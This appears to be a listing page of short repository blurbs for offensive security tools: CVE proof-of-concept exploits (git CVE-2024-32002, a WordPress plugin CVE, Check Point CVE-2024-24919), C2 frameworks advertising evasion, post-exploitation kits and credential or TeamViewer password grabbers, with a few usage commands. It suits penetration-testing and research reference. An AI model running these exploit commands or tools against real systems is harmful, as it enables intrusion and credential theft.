git_rce

CVE-2024-32002 PoC 1. You must set up the git's symbolic link option like: git config --global core.symlinks true 2. Then exploit CVE-2024-32002 by the following command: git clone --recursive https://github.com/EQSTSeminar/gitrce.git Attack Scenario kali192.168.216.129 --Give remote repository...

Neo

The Neo C2 Framework A modular server-client architecture post-exploitation framework built for collaborative agent management in red team operations and security testing. Enables flexibility by allowing operators to add their own extension modules Installation • Agents & Stagers • Profiles &...

Bashark

Bashark 2.0 Post exploitation toolkit Bashark aids pentesters and security researchers during the post-exploitation phase of security audit. Usage To launch this tool on compromised host, simply source the bashark.sh script from terminal: $ source bashark.sh Then type help to see the help menu...

Linux-for-a-Pentester

🐧 Linux for a Pentester 💀 "Theory is great, but the shell is where the magic happens." This repository is a curated collection of Linux command notes built from real-world labs, CTFs, and hands-on practice. No fluff, just the raw commands and practical notes needed for a Pentester. 📂 Repository...

get_Team_Pass

getTeamPass Get teamviewer's ID and password from a remote computer in the LAN This program gets teamviewer's ID and password from a remote computer in the LAN. Most useful for postexploitation or sysadmins Tested on windows 7 and windows 10 x86 and x64 Download binaries from releases folder...

CVE-2020-24186-exploit

CVE-2020-24186-exploit Attack script for CVE-2020-24186 Exploit usage: Commands: Windows/Linux: python3 CVE-2020-24186.py -u -p Example: python3 CVE-2020-24186.py -u http://127.0.0.1 -p /wordpress/2022/04/04/hello-world...

Nerv0usR4bbit

ɴᴇʀᴠ0ᴜs ʀ4ʙʙɪᴛ Automated Pᴏsᴛ Exᴘʟᴏɪᴛᴀᴛɪᴏɴ Eɴᴜᴍᴇʀᴀᴛɪᴏɴ ᴛᴏᴏʟ for Windows target Author : @34zY /!\ NEW PORTABLE VERSION AVAILABLE SOON. ---------------------------------------------------------------------------- | .--, \ 🐰 | \ / | \ / | | / ,/ /\ \ 💙 | \ 2.0 Windows ' . ' -. | | . ' " . | | /─-.-...

ci_fuzz

Description: This script fuzz's for Command Injection vulnerabilities resulting in remote command execution. Similiar OWASP vulnerablities are explained here -- https://www.owasp.org/index.php/CommandInjection The script will attempt to execute OS commands by injecting into every value in the bod...

Quantum-Silicon-Core-Loader

Quantum Silicon Core Loader Primary Core: qslcl.asm v0.0.2 under development Assistant Module: qslcl.bin v0.7.4 Universal Controller: qslcl.py v2.2.2 Legally Protected Research - This project operates under established legal frameworks for security research, right to repair, and academic freedom...

dump

Dump This repository contains dead/unfinished projects, small scripts or stuff that doesn't deserve a repository of its own. Contents git-gat : post-exploitation script for finding private git repos Infinity dead : find phone number of any Facebook user. json2paths : converts JSON keys to paths f...

CVE-2024-24919-Bulk-Scanner

CVE-2024-24919 Bulk Scanner CVE-2024-24919 Check Point Security Gateway Information Disclosure Script based on and the credit goes to: https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/ This Python script scans lisy of URLs for CVE-2024-24919 vulnerability by sending specifi...

DanderSpritz_lab

DanderSpritz Lab Purpose The goal of DanderSpritz lab is to allow researchers and defenders to quickly stand up a fully functional version of DanderSpritz - The Equation Group's Post exploitation tool-set and a Windows Server 2008 Domain and client as targets. The Windows target have some reverse...

PeekABoo

PeekABoo PeekABoo tool can be used during internal penetration testing when a user needs to enable Remote Desktop on the targeted machine. It uses PowerShell remoting to perform this task. The tool only works if WinRM is enabled. Since Windows Server 2012 WinRM is enabled by default on all Window...

ffuf

ffuf - Fuzz Faster U Fool A fast web fuzzer written in Go. Installation Example usage Content discovery Vhost discovery Parameter fuzzing POST data fuzzing Using external mutator Configuration files Help Interactive mode Installation Download a prebuilt binary from releases page, unpack and run! ...

Credential-Hunting

CredsHunter credshunter is a read-only credential finder for authorized post-exploitation. It walks a host once and surfaces the secrets you can actually reuse — passwords, keys, hashes, and credential files — while staying quiet on the cloud / SaaS tokens that only add noise. Two siblings, one...

Phoenix-Framework

Phoenix-Framework Phoenix is an async based post exploitation framework that abuses trusted sites for C2. Supported Platforms Phoenix currently supports the following platforms via their Bot APIs: Discord Telegram Reddit Coming soon Phoenix offers the basic following features : String Obfuscation...

EggShell

EggShell About EggShell is a post exploitation surveillance tool written in Python. It gives you a command line session with extra functionality between you and a target machine. EggShell gives you the power and convenience of uploading/downloading files, tab completion, taking pictures, location...

khaos-c2

KHAØS C2 KHAØS is a modern post-exploitation C2 framework with 5 covert channels and full evasion built in, created by @28Zaaky. See the documentation for full instructions. Why KHAØS Most open-source C2s have one thing in common: they're already in every EDR vendor's database. KHAØS was built wi...

PoshC2

PoshC2 is a proxy aware C2 framework used to aid penetration testers with red teaming, post-exploitation and lateral movement. PoshC2 is primarily written in Python3 and follows a modular format to enable users to add their own modules and tools, allowing an extendible and flexible C2 framework...

CVE-2024-24919

EN Is a Proof of Concept PoC script to check for vulnerability CVE-2024-24919. The script is designed to send HTTP POST requests to specified URLs and analyze the responses for possible security issues, like unauthorized access or sensitive data leaks. The script provides a simple yet powerful wa...